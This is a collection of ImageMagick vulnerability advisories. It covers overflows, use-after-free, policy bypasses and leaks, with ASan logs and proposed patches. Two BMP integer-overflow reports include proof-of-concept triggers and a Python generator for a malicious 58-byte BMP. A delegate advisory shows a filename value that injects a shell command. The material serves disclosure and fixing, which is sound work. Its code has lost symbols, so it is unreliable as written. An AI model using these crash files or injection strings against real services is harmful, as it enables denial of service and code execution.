ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-13 and 6.9.13-38, a heap buffer overflow vulnerability in the XBM image decoder (ReadXBMImage) allows an attacker to write controlled data past the allocated heap buffer when processing a maliciously crafted image file. Any operation that reads or identifies an image can trigger the overflow, making it exploitable via common image upload and processing pipelines. Versions 7.1.2-13 and 6.9.13-38 fix the issue.
A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.
A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.
================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0
Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow.
Details After reading a.msl using magick, the following is displayed:
MSLStartElement -> ReadImage -> ReadMSLImage -> ProcessMSLScript -> xmlParseChunk -> xmlParseTryOrFinish -> MSLStartElement
bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:388 [...]
A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.
================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0
An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.
================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0
ImageMagick before 6.9.9-24 and 7.x before 7.0.7-12 has a use-after-fr ...
coders/psd.c in ImageMagick allows remote attackers to have unspecified impact by leveraging an improper cast, which triggers a heap-based buffer overflow.
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, the UIL and XPM image encoder do not validate the pixel index value returned by GetPixelIndex() before using it as an array subscript. In HDRI builds, Quantum is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding.
================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, ImageMagick lacks proper boundary checking when processing Huffman-coded data from PCD (Photo CD) files. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
---
Scope & Affected Builds
- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
---
Root Cause (with code anchors)
Stride computation (writer)
c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }
Allocation (writer)
c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.
---
Integer-Overflow Analysis (32-bit sizet)
Stride formula for 24-bpp:
bytesperline = 4 ((width 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.
---
Concrete Demonstration
Chosen width: W = 178,957,200 (just over Stage-1 bound)
- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092
- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
---
Exploitability & Risk
- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
Reproduction (copy-paste triager script)
Test Environment:
- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)" - Runtime limits to exercise writer:
bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"
One-liner trigger (no input file):
bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp
---
Proposed Severity
- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High
---
Maintainer Pushbacks — Pre-empted
- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
---
Regression Tests to Include (PR-friendly)
1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.
---
Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)
---
Disclosure & Coordination
- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025
---
Appendices
Appendix A — Patch block tailored to bmp.c
Where this hooks in (current code):
- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;
---
Suggested Patch (minimal surface, guards + invariant)
I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.
c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /
/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytesperline = 4 tmp; / same formula as before, now checked /
/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }
/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);
/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);
/ --- PATCH END --- /
Why this is the right spot?
- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)). - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256). - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.
---
Notes
- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected. - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field. - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
Appendix B — Arithmetic Worked Example (W=178,957,200)
- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.
Appendix C — Raw ASan Log (trimmed)
================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
A memory allocation failure was found in ImageMagick in quantum.c.
Upstream patch:
https://github.com/ImageMagick/ImageMagick/commit/6e48aa92ff4e6e95424300ecd52a9ea453c19c60
References:
http://seclists.org/oss-sec/2016/q4/66 https://blogs.gentoo.org/ago/2016/10/07/imagemagick-memory-allocate-failure-in-acquirequantumpixels-quantum-c/
A memory allocation failure was found in ImageMagick in memory.c
References:
http://seclists.org/oss-sec/2016/q4/167 https://blogs.gentoo.org/ago/2016/10/17/imagemagick-memory-allocation-failure-in-acquiremagickmemory-memory-c/
Upstream patch:
https://github.com/ImageMagick/ImageMagick/commit/aea6c6507f55632829e6432f8177a084a57c9fcc
coders/jpeg.c in ImageMagick before 7.0.6-1 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via JPEG data that is too short.
ImageMagick before 7.0.8-54 has a heap-based buffer overflow in ReadPSInfo in coders/ps.c.
It was discovered that the upstream fix for this issue was not complete. There is still a memory allocation failure in memory.c
References:
http://seclists.org/oss-sec/2016/q4/197 https://blogs.gentoo.org/ago/2016/10/20/imagemagick-memory-allocation-failure-in-acquiremagickmemory-memory-c-incomplete-fix-for-cve-2016-8862/
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/ can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken in versions .7.1.2-15 and 6.9.13-40 But it make sure writing is also not possible the following should be added to one's policy. This will also be included in ImageMagick's more secure policies by default.
A vulnerability was found in ImageMagick. Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the value like https://example.com"|ls "-la and execute unexpected 'ls -la'. (wget or curl should be installed).
An integer overflow in DIB coder can result in out of bounds read or write
ImageMagick is free and open-source software used for editing and manipulating digital images. The shipped "secure" security policy includes a rule intended to prevent reading/writing from standard streams. However, ImageMagick also supports fd:<n> pseudo-filenames (e.g., fd:0, fd:1). Prior to versions 7.1.2-15 and 6.9.13-40, this path form is not blocked by the secure policy templates, and therefore bypasses the protection goal of "no stdin/stdout." Versions 7.1.2-15 and 6.9.13-40 contain a patch by including a change to the more secure policies by default. As a workaround, add the change to one's security policy manually.
An extremely large image profile could result in a heap overflow when encoding a PNG image.
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-16 and 6.9.13-41, MagnifyImage uses a fixed-size stack buffer. When using a specific image it is possible to overflow this buffer and corrupt the stack. This vulnerability is fixed in 7.1.2-16 and 6.9.13-41.
coders/psd.c in ImageMagick allows remote attackers to have unspecified impact via a crafted PSD file, which triggers an out-of-bounds write.
A heap-based buffer overflow vulnerability was found in ImageMagick in ReadTIFFImage() in coders/tiff.c because of an incorrect setting of the pixel array size which can lead to crash and segmentation fault. This flaw affects ImageMagick versions prior to 7.1.0-0 and 7.0.11-14.
Reference and upstream patch: https://github.com/ImageMagick/ImageMagick/commit/930ff0d1a9bc42925a7856e9ea53f5fc9f318bf3
Summary
CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.
The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.
Affected Versions: - ImageMagick < 7.1.2-2 (originally reported) - ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)
Platform and Configuration Requirements: - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires sizet = 4 bytes. (64-bit systems are NOT vulnerable (sizet = 8 bytes)) - Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).
---
Details(Root Cause Analysis)
Vulnerable Code Location
File: coders/bmp.c Lines: 1120-1122 (in version 7.1.2-5)
The Incomplete Patch
c // Line 1120: Integer overflow happens HERE extent = image->columns bmpinfo.bitsperpixel; // OVERFLOW!
// Line 1121: Uses already-overflowed value bytesperline = 4((extent+31)/32);
// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Why the Patch Fails
Attack Vector (32-bit system): Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32
Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytesperline = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow!
The check fails because: 1. The overflow happens at Line 1120 (extent calculation) 2. extent becomes 0 due to 32-bit truncation 3. bytesperline is calculated as 0 (Line 1121) 4. BMPOverflowCheck(0, 1) returns False (no overflow detected) 5. Code proceeds with corrupted values → ASan crash
---
PoC(Proof of Concept)
Minimal 58-byte BMP File
Hex dump: 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|
Key Fields: - Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912) - Offset 0x16: Height = 01 00 00 00 = 1 - Offset 0x1C: BPP = 20 00 = 32
Python Generator
python #!/usr/bin/env python3 import struct
width = 0x20000000 # 536,870,912 height = 1 bpp = 32
BMP File Header (14 bytes) fileheader = b'BM' fileheader += struct.pack('<I', 58) # File size fileheader += struct.pack('<HH', 0, 0) # Reserved fileheader += struct.pack('<I', 54) # Pixel offset
DIB Header (40 bytes) dibheader = struct.pack('<I', 40) # Header size dibheader += struct.pack('<i', width) # Width dibheader += struct.pack('<i', height) # Height dibheader += struct.pack('<H', 1) # Planes dibheader += struct.pack('<H', bpp) # BPP dibheader += struct.pack('<I', 0) # Compression dibheader += struct.pack('<I', 0) # Image size dibheader += struct.pack('<i', 2835) # X ppm dibheader += struct.pack('<i', 2835) # Y ppm dibheader += struct.pack('<I', 0) # Colors dibheader += struct.pack('<I', 0) # Important colors
pixeldata = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f: f.write(fileheader + dibheader + pixeldata)
print(f"Created overflow.bmp (58 bytes)")
---
Reproduction Steps
Environment Setup
bash Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash
Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev
Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5
Build with AddressSanitizer (32-bit IMPORTANT!)
bash Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j$(nproc)
Trigger the Vulnerability
bash Set environment to bypass cache.c limits export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocatormayreturnnull=1" export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000
Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp
---
AddressSanitizer Output
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asanpoisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asandescriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested asanhandlenoreturn: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189
It operates in the following environments.
export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000
Impact
Attack Scenario
1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service)
Real-world targets: - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images
---
Recommended Fix
Correct Patch
The overflow check must happen before the multiplication:
c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmpinfo.bitsperpixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");
// Now safe to calculate extent = image->columns bmpinfo.bitsperpixel; bytesperline = 4((extent+31)/32);
// Additional safety check if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Alternative: Use 64-bit Arithmetic
c // Force 64-bit calculation uint64t extent64 = (uint64t)image->columns (uint64t)bmpinfo.bitsperpixel;
if (extent64 > UINT32MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");
extent = (sizet)extent64; bytesperline = 4((extent+31)/32);
Credits wooseokdotkim wooseokdotkim@gmail.com
Summary
NULL pointer dereference in MSL (Magick Scripting Language) parser when processing <comment> tag before any image is loaded.
Version
- ImageMagick 7.x (tested on current main branch) - Commit: HEAD
Steps to Reproduce
Method 1: Using ImageMagick directly
bash magick MSL:poc.msl out.png
Method 2: Using OSS-Fuzz reproduce
bash python3 infra/helper.py buildfuzzers imagemagick python3 infra/helper.py reproduce imagemagick mslfuzzer poc.msl
Or run the fuzzer directly: bash ./mslfuzzer poc.msl
Expected Behavior
ImageMagick should handle the malformed MSL gracefully and return an error message.
Actual Behavior
convert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image , const char ): Assertion image != (Image ) NULL' failed. Aborted
Root Cause Analysis
In coders/msl.c:7091, MSLEndElement() calls DeleteImageProperty() on mslinfo->image[n] when handling the </comment> end tag without checking if the image is NULL:
c if (LocaleCompare((const char ) tag,"comment") == 0 ) { (void) DeleteImageProperty(mslinfo->image[n],"comment"); // No NULL check ... }
When <comment> appears before any <read> operation, mslinfo->image[n] is NULL, causing the assertion failure in DeleteImageProperty() at property.c:297.
Impact
- DoS: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds) - Affected: Any application using ImageMagick to process user-supplied MSL files
Fuzzer
This issue was discovered using a custom MSL fuzzer:
cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc"
extern "C" int LLVMFuzzerTestOneInput(const uint8t Data, sizet Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); }
This issue was found by Team FuzzingBrain @ Texas A&M University
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, in ReadSFWImage() (coders/sfw.c), when temporary file creation fails, readinfo is destroyed before its filename member is accessed, causing a NULL pointer dereference and crash. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, when a PCD file does not contain a valid Sync marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the Sync marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service. Versions 7.1.2-15 and 6.9.13-40 contain a patch.
Summary
In ReadSTEGANOImage() (coders/stegano.c), the watermark Image object is not freed on three early-return paths, resulting in a definite memory leak (~13.5KB+ per invocation) that can be exploited for denial of service.
Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7f5c11e27887 in interceptormalloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:145 #1 0x55cdc38f65c4 in AcquireMagickMemory MagickCore/memory.c:536 #2 0x55cdc38f65eb in AcquireCriticalMemory MagickCore/memory.c:612 #3 0x55cdc3899e91 in AcquireImage MagickCore/image.c:154